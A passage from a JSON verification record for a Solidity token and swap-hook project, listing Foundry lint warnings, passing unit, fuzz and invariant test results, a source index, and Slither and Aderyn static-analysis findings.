━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:382:28\n    │\n382 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:383:26\n    │\n383 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:383:49\n    │\n383 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:385:24\n    │\n385 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":2178,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 408.11µs (0.00ns CPU time)\n\nRan 6 tests for test/DustLiquidityOracle.t.sol:DustLiquidityOracleTest\n[PASS] test_backedDiscountedAskIsObservedAndBoughtFirst() (gas: 1180015)\n[PASS] test_controlWithoutPushGivesSameReference() (gas: 817628)\n[PASS] test_dustAskDoesNotCapLimitOrConsumeCooldownCheaply() (gas: 2621719)\n[PASS] test_dustLiquidityTickPushDoesNotBlockBuyback() (gas: 2285302)\n[PASS] test_observationBandLimitsHourlyDrop() (gas: 1042654)\n[PASS] test_observationWithinBandIsTrackedExactly() (gas: 280706)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 8.35ms (11.28ms CPU time)\n\nRan 5 tests for test/DustBatch.t.sol:DustBatchReverseOrderTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 393340)\n[PASS] test_partialFillJustAboveOnePercentCommitsInterval() (gas: 494479)\n[PASS] test_partialFillJustBelowOnePercentLeavesIntervalAvailable() (gas: 493481)\n[PASS] test_tinyPositiveOutputPartialFillLeavesIntervalAvailable() (gas: 1011845)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 973773)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 18.77ms (3.74ms CPU time)\n\nRan 6 tests for test/DustLiquidityOracle.t.sol:DustLiquidityOracleReverseOrderTest\n[PASS] test_backedDiscountedAskIsObservedAndBoughtFirst() (gas: 1158148)\n[PASS] test_controlWithoutPushGivesSameReference() (gas: 849627)\n[PASS] test_dustAskDoesNotCapLimitOrConsumeCooldownCheaply() (gas: 2617494)\n[PASS] test_dustLiquidityTickPushDoesNotBlockBuyback() (gas: 2281122)\n[PASS] test_observationBandLimitsHourlyDrop() (gas: 1038479)\n[PASS] test_observationWithinBandIsTrackedExactly() (gas: 272479)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 32.06ms (10.57ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1175617)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1842632)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 2176576)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1834234)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 98.60ms (10.24ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityReverseOrderTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1212098)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1826438)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 2164395)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1823751)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 239.14ms (10.71ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitReverseOrderTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 711284, ~: 710749)\nLogs:\n  Bound result 3830\n  Bound result 5000000000000000000000\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 806031)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1065088)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 281.80ms (268.94ms CPU time)\n\nRan 31 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 372798, ~: 372771)\nLogs:\n  Bound result 99999000000000000001390\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1199966, ~: 1199611)\nLogs:\n  Bound result 2999\n  Bound result 3060\n\n[PASS] test_askPriceIsWhereObservationDepthIsPurchasable() (gas: 455757)\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 708983)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95791)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 548231)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1324514)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25162)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 137474)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 28155913)\n[PASS] test_dustFeeRoundsDown() (gas: 370396)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 826727)\n[PASS] test_exactInputBuy() (gas: 365244)\n[PASS] test_exactInputSell() (gas: 372204)\n[PASS] test_exactOutputBuy() (gas: 367576)\n[PASS] test_exactOutputSell() (gas: 369680)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 7679668)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 843664)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 7846976)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 709788)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 323075)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 3521657)\n[PASS] test_partialExactInputBuy() (gas: 365755)\n[PASS] test_partialExactInputSell() (gas: 373252)\n[PASS] test_partialExactOutputBuy() (gas: 366611)\n[PASS] test_partialExactOutputSell() (gas: 370030)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 696032)\n[PASS] test_permissionsAndDeployment() (gas: 2422065)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 51940)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 208135)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 414061)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 281.81ms (627.03ms CPU time)\n\nRan 5 tests for test/DustBatch.t.sol:DustBatchTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 378269)\n[PASS] test_partialFillJustAboveOnePercentCommitsInterval() (gas: 487905)\n[PASS] test_partialFillJustBelowOnePercentLeavesIntervalAvailable() (gas: 486883)\n[PASS] test_tinyPositiveOutputPartialFillLeavesIntervalAvailable() (gas: 1002264)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 963396)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 281.84ms (5.09ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 719017, ~: 718477)\nLogs:\n  Bound result 3711\n  Bound result 95000000000003730892608\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 797373)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1077247)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 281.92ms (282.69ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86165, ~: 86537)\nLogs:\n  Bound result 0\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 281.92ms (282.50ms CPU time)\n\nRan 31 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 378267, ~: 379319)\nLogs:\n  Bound result 33443058587683306373951\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1210468, ~: 1214482)\nLogs:\n  Bound result 2758\n  Bound result 3400\n\n[PASS] test_askPriceIsWhereObservationDepthIsPurchasable() (gas: 462900)\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 721982)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95791)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 559120)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1321892)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25162)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 137474)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 4640807)\n[PASS] test_dustFeeRoundsDown() (gas: 380661)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 833557)\n[PASS] test_exactInputBuy() (gas: 375212)\n[PASS] test_exactInputSell() (gas: 375477)\n[PASS] test_exactOutputBuy() (gas: 376108)\n[PASS] test_exactOutputSell() (gas: 374389)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 35771161)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 857109)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 35949359)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 730748)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 328361)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 13466538)\n[PASS] test_partialExactInputBuy() (gas: 375423)\n[PASS] test_partialExactInputSell() (gas: 376833)\n[PASS] test_partialExactOutputBuy() (gas: 375975)\n[PASS] test_partialExactOutputSell() (gas: 373908)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 706000)\n[PASS] test_permissionsAndDeployment() (gas: 2422065)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 56077)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 208135)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 423907)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 281.92ms (568.32ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2706  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2717  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2769  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 386709634590731238440\n  Bound result 499999999999900002370\n  Bound result 3757\n  Bound result 499999999999900015214\n  Bound result 499999999999900004162\n  Bound result 3651\n  Bound result 499999999999900003411\n  Bound result 499999999999900001355\n  Bound result 3901\n  Bound result 4316\n  Bound result 499999999999900006953\n  Bound result 6226\n  Bound result 4367\n  Bound result 499999999999900013225\n  Bound result 499999999999900008198\n  Bound result 4525\n  Bound result 2447209285\n  Bound result 499999999999900000524\n  Bound result 499999999999900005959\n  Bound result 3600\n  Bound result 3697\n  Bound result 3601\n  Bound result 499999999999900000205\n  Bound result 499999999999900010611\n  Bound result 3600\n  Bound result 499999999999900000935\n  Bound result 1508384134\n  Bound result 3600\n  Bound result 499999999999900001769\n  Bound result 5712\n  Bound result 4156\n  Bound result 6571\n  Bound result 100000000\n  Bound result 499999999999900009598\n  Bound result 5062\n  Bound result 117300740\n  Bound result 499999999999900001734\n  Bound result 3613\n  Bound result 499999999999900000471\n  Bound result 3948\n  Bound result 56225656059697644417\n  Bound result 499999999999900011650\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.06s (2.06s CPU time)\n\nRan 13 test suites in 2.06s (4.15s CPU time): 104 tests passed, 0 failed, 1 skipped (105 total tests)\n","passed":true},{"durationMs":83,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":110,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":32,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":387,\"test/BatchPriceLimit.t.sol\":107,\"test/Conservation.t.sol\":108,\"test/DustBatch.t.sol\":146,\"test/DustLiquidityOracle.t.sol\":230,\"test/MainnetFork.t.sol\":48,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":393,\"test/OracleLiquidity.t.sol\":129,\"test/helpers/HookFixture.sol\":145,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3425,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/NUKEHook.sol:369: NUKEHook._projectOracle() (src/NUKEHook.sol#369-386) uses a weak PRNG: \"integral < 0 && integral % int256(BATCH_INTERVAL) != 0 (src/NUKEHook.sol#378)\"\n[medium/medium] divide-before-multiply at src/NUKEHook.sol:369: NUKEHook._projectOracle() (src/NUKEHook.sol#369-386) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/NUKEHook.sol:241: NUKEHook.batchPriceLimit() (src/NUKEHook.sol#241-254) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/NUKEHook.sol:266: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#266-294):\n[medium/medium] unused-return at src/NUKEHook.sol:206: NUKEHook.askPrice() (src/NUKEHook.sol#206-238) ignores return value by (None,net) = poolManager.getTickLiquidity(poolId,next) (src/NUKEHook.sol#232)\n[medium/medium] unused-return at src/NUKEHook.sol:206: NUKEHook.askPrice() (src/NUKEHook.sol#206-238) ignores return value by (sqrtP,tick,None,None) = poolManager.getSlot0(poolId) (src/NUKEHook.sol#209)\n[medium/medium] unused-return at src/NUKEHook.sol:266: NUKEHook.executeBatch() (src/NUKEHook.sol#266-294) ignores return value by (spot,None,None,None) = poolManager.getSlot0(poolId) (src/NUKEHook.sol#275)\n[medium/medium] unused-return at src/NUKEHook.sol:296: NUKEHook.unlockCallback(bytes) (src/NUKEHook.sol#296-327) ignores return value by poolManager.settle() (src/NUKEHook.sol#321)\n[low/medium] reentrancy-benign at src/NUKEHook.sol:266: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#266-294):\n[low/medium] reentrancy-benign at src/NUKEHook.sol:296: Reentrancy in NUKEHook.unlockCallback(bytes) (src/NUKEHook.sol#296-327):\n[low/medium] reentrancy-benign at src/NUKEHook.sol:257: Reentrancy in NUKEHook.sweep() (src/NUKEHook.sol#257-262):\n[low/medium] reentrancy-events at src/NUKEHook.sol:257: Reentrancy in NUKEHook.sweep() (src/NUKEHook.sol#257-262):\n[low/medium] reentrancy-events at src/NUKEHook.sol:266: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#266-294):\n[low/medium] reentrancy-events at src/NUKEHook.sol:149: Reentrancy in NUKEHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/NUKEHook.sol#149-168):\n[low/medium] timestamp at src/NUKEHook.sol:329: NUKEHook._observe() (src/NUKEHook.sol#329-342) uses timestamp for comparisons\n[low/medium] timestamp at src/NUKEHook.sol:369: NUKEHook._projectOracle() (src/NUKEHook.sol#369-386) uses timestamp for comparisons\n[low/medium] timestamp at src/NUKEHook.sol:241: NUKEHook.batchPriceLimit() (src/NUKEHook.sol#241-254) uses timestamp for comparisons\n[low/medium] timestamp at src/NUKEHook.sol:266: NUKEHook.executeBatch() (src/NUKEHook.sol#266-294) uses timestamp for comparisons","passed":true},{"durationMs":519,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/NUKEHook.sol:259: Reentrancy: State change after external call (2 places)\n[high] unsafe-casting at src/NUKEHook.sol:379: Unsafe Casting of integers\n[low] large-numeric-literal at src/NUKE.sol:9: Large Numeric Literal (2 places)\n[low] literal-instead-of-constant at src/NUKEHook.sol:269: Literal Instead of Constant (2 places)\n[low] require-revert-in-loop at src/NUKEHook.sol:211: Loop Contains `require`/`revert`\n[low] state-change-without-event at src/NUKEHook.sol:122: State Change Without Event (2 places)\n[low] unchecked-return at src/NUKEHook.sol:321: Unchecked Return\n[low] uninitialized-local-variable at src/NUKEHook.sol:211: Uninitialized Local Variable\n[low] unsafe-erc20-operation at src/NUKEHook.sol:305: Unsafe ERC20 Operation (2 places)\n[low] unused-public-function at src/NUKEHook.sol:176: Public Function Not Used Internally","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"6f7fab5a2d524a0ccc5e104001480bafd55b771c6c4451c64f74fea4cfc051ca","verifiedTreeHash":"11fadcb88776e0a8db97a957878de612690e4fff","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":66233,"exitCode":0,"name":"build","output":"Compiling 83 files with Solc 0.8.26\nSolc 0.8.26 finished in 66.09s\nCompiler run successful!\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:120:9\n    │\n120 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:118:25\n    │\n118 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:118:50\n    │\n118 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:132:42\n    │\n132 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:132:87\n    │\n132 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:25\n    │\n133 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:153:13\n    │\n153 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:149:23\n    │\n149 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:183:16\n    │\n183 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:189:29\n    │\n189 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:191:9\n    │\n191 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:209:38\n    │\n209 │         (spent, burned) = abi.decode(poolManager.unlock(abi.encode(budget, limit)), (uint256, uint256));\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:198:13\n    │\n198 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:211:9\n    │\n211 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:22\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:30\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:67\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:75\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:228:81\n    │\n228 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n   